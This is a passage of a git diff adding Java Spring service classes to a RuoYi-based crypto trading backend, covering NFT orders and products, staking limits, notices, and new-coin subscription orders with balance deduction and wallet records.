批量删除mingProduct + * + * @param ids 需要删除的mingProduct主键 + * @return 结果 + */ + @Override + public int deleteTMingProductByIds(Long[] ids) + { + return tMingProductMapper.deleteTMingProductByIds(ids); + } + + /** + * 删除mingProduct信息 + * + * @param id mingProduct主键 + * @return 结果 + */ + @Override + public int deleteTMingProductById(Long id) + { + return tMingProductMapper.deleteTMingProductById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductUserServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductUserServiceImpl.java new file mode 100644 index 0000000..b7440e1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductUserServiceImpl.java @@ -0,0 +1,101 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TMingProductUserMapper; +import com.ruoyi.bussiness.domain.TMingProductUser; +import com.ruoyi.bussiness.service.ITMingProductUserService; + +/** + * 用户购买质押限制Service业务层处理 + * + * @author ruoyi + * @date 2023-10-11 + */ +@Service +public class TMingProductUserServiceImpl extends ServiceImpl implements ITMingProductUserService +{ + @Autowired + private TMingProductUserMapper tMingProductUserMapper; + + /** + * 查询用户购买质押限制 + * + * @param id 用户购买质押限制主键 + * @return 用户购买质押限制 + */ + @Override + public TMingProductUser selectTMingProductUserById(Long id) + { + return tMingProductUserMapper.selectTMingProductUserById(id); + } + + /** + * 查询用户购买质押限制列表 + * + * @param tMingProductUser 用户购买质押限制 + * @return 用户购买质押限制 + */ + @Override + public List selectTMingProductUserList(TMingProductUser tMingProductUser) + { + return tMingProductUserMapper.selectTMingProductUserList(tMingProductUser); + } + + /** + * 新增用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + @Override + public int insertTMingProductUser(TMingProductUser tMingProductUser) + { + tMingProductUser.setCreateTime(DateUtils.getNowDate()); + tMingProductUser.setCreateBy(SecurityUtils.getUsername()); + tMingProductUser.setUpdateTime(DateUtils.getNowDate()); + tMingProductUser.setUpdateBy(SecurityUtils.getUsername()); + return tMingProductUserMapper.insertTMingProductUser(tMingProductUser); + } + + /** + * 修改用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + @Override + public int updateTMingProductUser(TMingProductUser tMingProductUser) + { + tMingProductUser.setUpdateTime(DateUtils.getNowDate()); + tMingProductUser.setUpdateBy(SecurityUtils.getUsername()); + return tMingProductUserMapper.updateTMingProductUser(tMingProductUser); + } + + /** + * 批量删除用户购买质押限制 + * + * @param ids 需要删除的用户购买质押限制主键 + * @return 结果 + */ + @Override + public int deleteTMingProductUserByIds(Long[] ids) + { + return tMingProductUserMapper.deleteTMingProductUserByIds(ids); + } + + /** + * 删除用户购买质押限制信息 + * + * @param id 用户购买质押限制主键 + * @return 结果 + */ + @Override + public int deleteTMingProductUserById(Long id) + { + return tMingProductUserMapper.deleteTMingProductUserById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftOrderServiceImpl.java new file mode 100644 index 0000000..ec126e2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftOrderServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TNftOrderMapper; +import com.ruoyi.bussiness.domain.TNftOrder; +import com.ruoyi.bussiness.service.ITNftOrderService; + +/** + * nft订单Service业务层处理 + * + * @author ruoyi + * @date 2023-09-01 + */ +@Service +public class TNftOrderServiceImpl extends ServiceImpl implements ITNftOrderService +{ + @Autowired + private TNftOrderMapper tNftOrderMapper; + + /** + * 查询nft订单 + * + * @param id nft订单主键 + * @return nft订单 + */ + @Override + public TNftOrder selectTNftOrderById(Long id) + { + return tNftOrderMapper.selectTNftOrderById(id); + } + + /** + * 查询nft订单列表 + * + * @param tNftOrder nft订单 + * @return nft订单 + */ + @Override + public List selectTNftOrderList(TNftOrder tNftOrder) + { + return tNftOrderMapper.selectTNftOrderList(tNftOrder); + } + + /** + * 新增nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + @Override + public int insertTNftOrder(TNftOrder tNftOrder) + { + tNftOrder.setCreateTime(DateUtils.getNowDate()); + return tNftOrderMapper.insertTNftOrder(tNftOrder); + } + + /** + * 修改nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + @Override + public int updateTNftOrder(TNftOrder tNftOrder) + { + tNftOrder.setUpdateTime(DateUtils.getNowDate()); + return tNftOrderMapper.updateTNftOrder(tNftOrder); + } + + /** + * 批量删除nft订单 + * + * @param ids 需要删除的nft订单主键 + * @return 结果 + */ + @Override + public int deleteTNftOrderByIds(Long[] ids) + { + return tNftOrderMapper.deleteTNftOrderByIds(ids); + } + + /** + * 删除nft订单信息 + * + * @param id nft订单主键 + * @return 结果 + */ + @Override + public int deleteTNftOrderById(Long id) + { + return tNftOrderMapper.deleteTNftOrderById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftProductServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftProductServiceImpl.java new file mode 100644 index 0000000..4df4192 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftProductServiceImpl.java @@ -0,0 +1,103 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TNftProductMapper; +import com.ruoyi.bussiness.domain.TNftProduct; +import com.ruoyi.bussiness.service.ITNftProductService; + +/** + * nft详情Service业务层处理 + * + * @author ruoyi + * @date 2023-09-01 + */ +@Service +public class TNftProductServiceImpl extends ServiceImpl implements ITNftProductService +{ + @Autowired + private TNftProductMapper tNftProductMapper; + + /** + * 查询nft详情 + * + * @param id nft详情主键 + * @return nft详情 + */ + @Override + public TNftProduct selectTNftProductById(Long id) + { + return tNftProductMapper.selectTNftProductById(id); + } + + /** + * 查询nft详情列表 + * + * @param tNftProduct nft详情 + * @return nft详情 + */ + @Override + public List selectTNftProductList(TNftProduct tNftProduct) + { + return tNftProductMapper.selectTNftProductList(tNftProduct); + } + + /** + * 新增nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + @Override + public int insertTNftProduct(TNftProduct tNftProduct) + { + tNftProduct.setCreateTime(DateUtils.getNowDate()); + tNftProduct.setUpdateTime(DateUtils.getNowDate()); + tNftProduct.setCreateBy(SecurityUtils.getUsername()); + tNftProduct.setUpdateBy(SecurityUtils.getUsername()); + tNftProduct.setDelFlag("0"); + tNftProduct.setStatus(1); + tNftProduct.setSaleStatus("0"); + return tNftProductMapper.insertTNftProduct(tNftProduct); + } + + /** + * 修改nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + @Override + public int updateTNftProduct(TNftProduct tNftProduct) + { + tNftProduct.setUpdateTime(DateUtils.getNowDate()); + return tNftProductMapper.updateTNftProduct(tNftProduct); + } + + /** + * 批量删除nft详情 + * + * @param ids 需要删除的nft详情主键 + * @return 结果 + */ + @Override + public int deleteTNftProductByIds(Long[] ids) + { + return tNftProductMapper.deleteTNftProductByIds(ids); + } + + /** + * 删除nft详情信息 + * + * @param id nft详情主键 + * @return 结果 + */ + @Override + public int deleteTNftProductById(Long id) + { + return tNftProductMapper.deleteTNftProductById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftSeriesServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftSeriesServiceImpl.java new file mode 100644 index 0000000..7840f1c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftSeriesServiceImpl.java @@ -0,0 +1,101 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TNftSeriesMapper; +import com.ruoyi.bussiness.domain.TNftSeries; +import com.ruoyi.bussiness.service.ITNftSeriesService; + +/** + * nft合计Service业务层处理 + * + * @author ruoyi + * @date 2023-09-01 + */ +@Service +public class TNftSeriesServiceImpl extends ServiceImpl implements ITNftSeriesService +{ + @Autowired + private TNftSeriesMapper tNftSeriesMapper; + + /** + * 查询nft合计 + * + * @param id nft合计主键 + * @return nft合计 + */ + @Override + public TNftSeries selectTNftSeriesById(Long id) + { + return tNftSeriesMapper.selectTNftSeriesById(id); + } + + /** + * 查询nft合计列表 + * + * @param tNftSeries nft合计 + * @return nft合计 + */ + @Override + public List selectTNftSeriesList(TNftSeries tNftSeries) + { + return tNftSeriesMapper.selectTNftSeriesList(tNftSeries); + } + + /** + * 新增nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + @Override + public int insertTNftSeries(TNftSeries tNftSeries) + { + tNftSeries.setCreateTime(DateUtils.getNowDate()); + tNftSeries.setUpdateTime(DateUtils.getNowDate()); + tNftSeries.setCreateBy(SecurityUtils.getUsername()); + tNftSeries.setUpdateBy(SecurityUtils.getUsername()); + tNftSeries.setDelFlag("0"); + return tNftSeriesMapper.insertTNftSeries(tNftSeries); + } + + /** + * 修改nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + @Override + public int updateTNftSeries(TNftSeries tNftSeries) + { + tNftSeries.setUpdateTime(DateUtils.getNowDate()); + return tNftSeriesMapper.updateTNftSeries(tNftSeries); + } + + /** + * 批量删除nft合计 + * + * @param ids 需要删除的nft合计主键 + * @return 结果 + */ + @Override + public int deleteTNftSeriesByIds(Long[] ids) + { + return tNftSeriesMapper.deleteTNftSeriesByIds(ids); + } + + /** + * 删除nft合计信息 + * + * @param id nft合计主键 + * @return 结果 + */ + @Override + public int deleteTNftSeriesById(Long id) + { + return tNftSeriesMapper.deleteTNftSeriesById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNoticeServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNoticeServiceImpl.java new file mode 100644 index 0000000..c7f81a7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNoticeServiceImpl.java @@ -0,0 +1,109 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; + +import com.ruoyi.common.enums.NoticeTypeEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TNoticeMapper; +import com.ruoyi.bussiness.domain.TNotice; +import com.ruoyi.bussiness.service.ITNoticeService; + +/** + * 通知公告Service业务层处理 + * + * @author ruoyi + * @date 2023-07-20 + */ +@Service +public class TNoticeServiceImpl extends ServiceImpl implements ITNoticeService +{ + @Autowired + private TNoticeMapper tNoticeMapper; + + /** + * 查询通知公告 + * + * @param noticeId 通知公告主键 + * @return 通知公告 + */ + @Override + public TNotice selectTNoticeByNoticeId(Long noticeId) + { + return tNoticeMapper.selectTNoticeByNoticeId(noticeId); + } + + /** + * 查询通知公告列表 + * + * @param tNotice 通知公告 + * @return 通知公告 + */ + @Override + public List selectTNoticeList(TNotice tNotice) + { + return tNoticeMapper.selectTNoticeList(tNotice); + } + + /** + * 新增通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + @Override + public int insertTNotice(TNotice tNotice) + { + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + tNotice.setCreateTime(DateUtils.getNowDate()); + return tNoticeMapper.insertTNotice(tNotice); + } + + /** + * 修改通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + @Override + public int updateTNotice(TNotice tNotice) + { + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + tNotice.setUpdateTime(DateUtils.getNowDate()); + return tNoticeMapper.updateTNotice(tNotice); + } + + /** + * 批量删除通知公告 + * + * @param noticeIds 需要删除的通知公告主键 + * @return 结果 + */ + @Override + public int deleteTNoticeByNoticeIds(Long[] noticeIds) + { + return tNoticeMapper.deleteTNoticeByNoticeIds(noticeIds); + } + + /** + * 删除通知公告信息 + * + * @param noticeId 通知公告主键 + * @return 结果 + */ + @Override + public int deleteTNoticeByNoticeId(Long noticeId) + { + return tNoticeMapper.deleteTNoticeByNoticeId(noticeId); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOptionRulesServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOptionRulesServiceImpl.java new file mode 100644 index 0000000..e87d9da --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOptionRulesServiceImpl.java @@ -0,0 +1,95 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TOptionRulesMapper; +import com.ruoyi.bussiness.domain.TOptionRules; +import com.ruoyi.bussiness.service.ITOptionRulesService; + +/** + * 前台文本配置Service业务层处理 + * + * @author ruoyi + * @date 2023-07-19 + */ +@Service +public class TOptionRulesServiceImpl extends ServiceImpl implements ITOptionRulesService +{ + @Autowired + private TOptionRulesMapper tOptionRulesMapper; + + /** + * 查询前台文本配置 + * + * @param id 前台文本配置主键 + * @return 前台文本配置 + */ + @Override + public TOptionRules selectTOptionRulesById(Long id) + { + return tOptionRulesMapper.selectTOptionRulesById(id); + } + + /** + * 查询前台文本配置列表 + * + * @param tOptionRules 前台文本配置00 + * @return 前台文本配置 + */ + @Override + public List selectTOptionRulesList(TOptionRules tOptionRules) + { + return tOptionRulesMapper.selectTOptionRulesList(tOptionRules); + } + + /** + * 新增前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + @Override + public int insertTOptionRules(TOptionRules tOptionRules) + { + tOptionRules.setCreateTime(DateUtils.getNowDate()); + return tOptionRulesMapper.insertTOptionRules(tOptionRules); + } + + /** + * 修改前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + @Override + public int updateTOptionRules(TOptionRules tOptionRules) + { + return tOptionRulesMapper.updateTOptionRules(tOptionRules); + } + + /** + * 批量删除前台文本配置 + * + * @param ids 需要删除的前台文本配置主键 + * @return 结果 + */ + @Override + public int deleteTOptionRulesByIds(Long[] ids) + { + return tOptionRulesMapper.deleteTOptionRulesByIds(ids); + } + + /** + * 删除前台文本配置信息 + * + * @param id 前台文本配置主键 + * @return 结果 + */ + @Override + public int deleteTOptionRulesById(Long id) + { + return tOptionRulesMapper.deleteTOptionRulesById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinOrderServiceImpl.java new file mode 100644 index 0000000..3d2d950 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinOrderServiceImpl.java @@ -0,0 +1,320 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.mapper.TOwnCoinOrderMapper; +import com.ruoyi.bussiness.mapper.TOwnCoinSubscribeOrderMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.OrderUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.transaction.interceptor.TransactionAspectSupport; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.List; +import java.util.Map; + +/** + * 申购订单Service业务层处理 + * + * @author ruoyi + * @date 2023-09-20 + */ +@Service +@Slf4j +public class TOwnCoinOrderServiceImpl extends ServiceImpl implements ITOwnCoinOrderService { + @Resource + private TOwnCoinOrderMapper tOwnCoinOrderMapper; + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITOwnCoinService tOwnCoinService; + @Resource + private TOwnCoinSubscribeOrderMapper tOwnCoinSubscribeOrderMapper; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + + /** + * 查询申购订单 + * + * @param id 申购订单主键 + * @return 申购订单 + */ + @Override + public TOwnCoinOrder selectTOwnCoinOrderById(Long id) { + return tOwnCoinOrderMapper.selectTOwnCoinOrderById(id); + } + + /** + * 查询申购订单列表 + * + * @param tOwnCoinOrder 申购订单 + * @return 申购订单 + */ + @Override + public List selectTOwnCoinOrderList(TOwnCoinOrder tOwnCoinOrder) { + return tOwnCoinOrderMapper.selectTOwnCoinOrderList(tOwnCoinOrder); + } + + /** + * 新增申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + @Override + public int insertTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder) { + tOwnCoinOrder.setCreateTime(DateUtils.getNowDate()); + return tOwnCoinOrderMapper.insertTOwnCoinOrder(tOwnCoinOrder); + } + + /** + * 修改申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + @Override + public int updateTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder) { + tOwnCoinOrder.setUpdateTime(DateUtils.getNowDate()); + return tOwnCoinOrderMapper.updateTOwnCoinOrder(tOwnCoinOrder); + } + + /** + * 批量删除申购订单 + * + * @param ids 需要删除的申购订单主键 + * @return 结果 + */ + @Override + public int deleteTOwnCoinOrderByIds(Long[] ids) { + return tOwnCoinOrderMapper.deleteTOwnCoinOrderByIds(ids); + } + + /** + * 删除申购订单信息 + * + * @param id 申购订单主键 + * @return 结果 + */ + @Override + public int deleteTOwnCoinOrderById(Long id) { + return tOwnCoinOrderMapper.deleteTOwnCoinOrderById(id); + } + + @Override + @Transactional + public String createOrder(TOwnCoinOrder tOwnCoinOrder) { + try { + TOwnCoin tOwnCoin = tOwnCoinService.getById(tOwnCoinOrder.getOwnId()); + // 如果是错误的OwnCoin id + if (tOwnCoin == null) { + return MessageUtils.message("own.coin.error"); + } + long now = System.currentTimeMillis(); + // 判断是否在申购时间段 和发行中 + if (now < tOwnCoin.getBeginTime().getTime() || now > tOwnCoin.getEndTime().getTime() || tOwnCoin.getStatus() != 2) { + return MessageUtils.message("own.coin.error"); + } + //完善订单 + //效验购买上限 + Integer allAmount = tOwnCoinOrderMapper.getAllAmountByUserIdAndCoinId(tOwnCoinOrder.getOwnId(), tOwnCoinOrder.getUserId()); + log.info((allAmount + tOwnCoinOrder.getNumber().intValue()) + "================"); + if ((allAmount + tOwnCoinOrder.getNumber().intValue()) > tOwnCoin.getPurchaseLimit()) { + //计算还能购买的上限 + Integer amount = tOwnCoin.getPurchaseLimit() - allAmount; + //超出上限提示不能购买 + return MessageUtils.message("own.coin.limit.num", amount + ""); + } + tOwnCoinOrder.setOrderId("M" + OrderUtils.generateOrderNum()); + TAppUser user = tAppUserService.getById(tOwnCoinOrder.getUserId()); + tOwnCoinOrder.setStatus("1"); + tOwnCoinOrder.setAdminParentIds(user.getAdminParentIds()); + tOwnCoinOrder.setAdminUserIds(user.getAppParentIds()); + //设置价格未数据价格 + tOwnCoinOrder.setPrice(tOwnCoin.getPrice()); + tOwnCoinOrder.setOwnCoin(tOwnCoin.getCoin()); + //设置额度为数据库申购额度为数据额度 + tOwnCoinOrder.setAmount(tOwnCoin.getPrice().multiply(BigDecimal.valueOf(tOwnCoinOrder.getNumber()))); + + //需要先判断余额是否足够 + Map assetMap = tAppAssetService.getAssetByUserIdList(user.getUserId()); + TAppAsset asset = assetMap.get("usdt" + user.getUserId()); + BigDecimal price = tOwnCoinOrder.getAmount(); + BigDecimal availableAmount = asset.getAvailableAmount(); + if (availableAmount.compareTo(price) < 0) { + return MessageUtils.message("order_amount_error"); + } + tOwnCoinOrderMapper.insert(tOwnCoinOrder); + //扣减余额 + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol("usdt") + .userId(user.getUserId()) + .amout(asset.getAmout().subtract(price)) + .availableAmount(asset.getAvailableAmount().subtract(price)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + //发起扣钱 + appWalletRecordService.generateRecord(user.getUserId(), price, RecordEnum.OWN_COIN_BUY.getCode(), user.getLoginName(), tOwnCoinOrder.getOrderId(), RecordEnum.OWN_COIN_BUY.getInfo(), availableAmount, availableAmount.subtract(price), "usdt", user.getAdminParentIds()); + return MessageUtils.message("own.coin.success"); + } catch (Exception e) { + e.printStackTrace(); + //手动捕获异常事务管理器会认为任务commit + TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); + return MessageUtils.message("own.coin.error"); + } + } + + /** + * 订阅申购新发币 + * + * @param tOwnCoinOrder + * @return + */ + @Override + @Transactional + public AjaxResult placingCoins(TOwnCoinOrder tOwnCoinOrder) { + Long userId = tOwnCoinOrder.getUserId(); + Long ownId = tOwnCoinOrder.getOwnId(); + TOwnCoinOrder order = new TOwnCoinOrder(); + order.setUserId(userId); + order.setOwnId(ownId); + //校验购买数量 + Long buyNum = tOwnCoinOrder.getNumber(); + if (buyNum <= 0) { + return AjaxResult.error(MessageUtils.message("own.coin.sub.num.error")); + } + //判断OwnCoin 是否在申购时间段 和发行中 + TOwnCoin tOwnCoin = tOwnCoinService.getById(ownId); + long now = System.currentTimeMillis(); + if (tOwnCoin == null || + now < tOwnCoin.getBeginTime().getTime() || + now > tOwnCoin.getEndTime().getTime() || + tOwnCoin.getStatus() != 2) { + return AjaxResult.error(MessageUtils.message("own.coin.error")); + } + //效验订阅审批上限 + TOwnCoinSubscribeOrder subscribeOrder = + tOwnCoinService.getOrderById(ownId, userId); + if (subscribeOrder == null || !"2|3".contains(subscribeOrder.getStatus())) { + return AjaxResult.error(MessageUtils.message("own.coin.sub.error")); + } + if (buyNum > subscribeOrder.getNumLimit()) { + return AjaxResult.error(MessageUtils.message("own.coin.limit.num", subscribeOrder.getNumLimit().toString())); + } + //校验是否重复申购 + List orders = tOwnCoinOrderMapper.selectTOwnCoinOrderList(order); + if (!CollectionUtils.isEmpty(orders)) { + return AjaxResult.error(MessageUtils.message("own.coin.sub.play")); + } + //额度校验 单价*申购数量 + Map assetMap = tAppAssetService.getAssetByUserIdList(userId); + TAppAsset asset = assetMap.get("usdt" + userId); + BigDecimal amount = + subscribeOrder.getPrice().multiply(new BigDecimal(tOwnCoinOrder.getNumber())) + .setScale(4, RoundingMode.HALF_UP); + BigDecimal availableAmount = asset.getAvailableAmount(); + if (availableAmount.compareTo(amount) < 0) { + return AjaxResult.error(MessageUtils.message("own.coin.limit", availableAmount)); + } + //生成订单,扣减余额 + try { + String orderId = ""; + tOwnCoinOrder.setOrderId(orderId = "M" + OrderUtils.generateOrderNum()); + TAppUser user = tAppUserService.getById(tOwnCoinOrder.getUserId()); + tOwnCoinOrder.setStatus("1"); + tOwnCoinOrder.setPrice(subscribeOrder.getPrice()); + tOwnCoinOrder.setAmount(amount); + tOwnCoinOrder.setAdminParentIds(user.getAdminParentIds()); + tOwnCoinOrder.setAdminUserIds(user.getAppParentIds()); + tOwnCoinOrderMapper.insert(tOwnCoinOrder); + tOwnCoinSubscribeOrderMapper.updateTOwnCoinSubscribeOrderById(userId, ownId, orderId); + //平台资产USDT账户扣钱 + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol("usdt") + .userId(userId) + .amout(asset.getAmout().subtract(amount)) + .availableAmount(asset.getAvailableAmount().subtract(amount)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + //新增交易记录 + appWalletRecordService.generateRecord( + user.getUserId(), amount, RecordEnum.OWN_COIN_BUY.getCode(), + user.getLoginName(), orderId, RecordEnum.OWN_COIN_BUY.getInfo(), + availableAmount, availableAmount.subtract(amount), "usdt", user.getAdminParentIds()); + return AjaxResult.success(MessageUtils.message("own.coin.success")); + } catch (Exception e) { + e.printStackTrace(); + //手动捕获异常事务管理器会认为任务commit + TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); + return AjaxResult.error(MessageUtils.message("own.coin.error")); + } + } + + /** + * 审批新申购订单 + * + * @param tOwnCoinOrder + * @return + */ + @Override + @Transactional + public AjaxResult editPlacing(TOwnCoinOrder tOwnCoinOrder) { + //查询现有申购订单 + TOwnCoinOrder order = tOwnCoinOrderMapper.selectTOwnCoinOrderById(tOwnCoinOrder.getId()); + Long beforeNum = order.getNumber(); + Long currentNum = tOwnCoinOrder.getNumber(); + if (beforeNum.compareTo(currentNum) <= 0) { + return AjaxResult.error("审批额度已达或已超当前用户额度上限"); + } + //差值 + try { + long diffValue = beforeNum - currentNum; + tOwnCoinOrderMapper.updateTOwnCoinOrder(tOwnCoinOrder); + //数量差*发行单价 + Long userId = tOwnCoinOrder.getUserId(); + Map assetMap = tAppAssetService.getAssetByUserIdList(userId); + TAppAsset asset = assetMap.get("usdt" + userId); + TAppUser user = tAppUserService.getById(userId); + TOwnCoinSubscribeOrder subscribeOrder = + tOwnCoinService.getOrderById(tOwnCoinOrder.getOwnId(), userId); + BigDecimal amount = + subscribeOrder.getPrice().multiply(new BigDecimal(diffValue)) + .setScale(4, RoundingMode.HALF_UP); + //资产表还原多扣的钱 + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol("usdt") + .userId(userId) + .amout(asset.getAmout().add(amount)) + .availableAmount(asset.getAvailableAmount().add(amount)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + //记录表 + appWalletRecordService.generateRecord( + userId, amount, RecordEnum.OWN_COIN_BUY.getCode(), + user.getLoginName(), order.getOrderId(), RecordEnum.OWN_COIN_BUY.getInfo(), + asset.getAvailableAmount(), asset.getAvailableAmount().add(amount), "usdt", user.getAdminParentIds()); + return AjaxResult.success(MessageUtils.message("own.coin.success")); + } catch (Exception e) { + e.printStackTrace(); + //手动捕获异常事务管理器会认为任务commit + TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); + return AjaxResult.error(MessageUtils.message("own.coin.error")); + } + + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinServiceImpl.java new file mode 100644 index 0000000..fd1b38f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinServiceImpl.java @@ -0,0 +1,349 @@ +package com.ruoyi.bussiness.service.impl; + +import cc.block.data.api.domain.market.Kline; +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.vo.TOwnCoinVO; +import com.ruoyi.bussiness.mapper.TOwnCoinMapper; +import com.ruoyi.bussiness.mapper.TOwnCoinSubscribeOrderMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.bean.BeanUtils; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.transaction.interceptor.TransactionAspectSupport; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; + +/** + * 发币Service业务层处理 + * + * @author ruoyi + * @date 2023-09-18 + */ +@Service +public class TOwnCoinServiceImpl extends ServiceImpl implements ITOwnCoinService { + @Resource + private TOwnCoinMapper tOwnCoinMapper; + + @Resource + private TOwnCoinSubscribeOrderMapper tOwnCoinSubscribeOrderMapper; + + @Resource + private ITOwnCoinOrderService itOwnCoinOrderService; + @Resource + private IKlineSymbolService klineSymbolService; + @Resource + private ITSecondCoinConfigService tSecondCoinConfigService; + @Resource + private 